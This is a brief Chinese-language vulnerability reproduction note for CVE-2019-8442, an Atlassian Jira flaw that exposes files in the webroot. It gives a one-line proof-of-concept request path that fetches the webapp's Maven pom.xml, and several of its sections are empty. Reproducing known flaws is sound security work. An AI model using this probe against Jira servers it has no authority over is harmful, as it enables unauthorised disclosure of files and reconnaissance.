# Atlassian Jira com.atlassian.jira 敏感信息泄漏 CVE-2019-8442

# 漏洞描述

Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理。 远程攻击者可利用该漏洞访问Jira webroot中的文件。

# 漏洞影响




# 网络测绘


# 漏洞复现

登录页面

img

验证POC

/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
1

img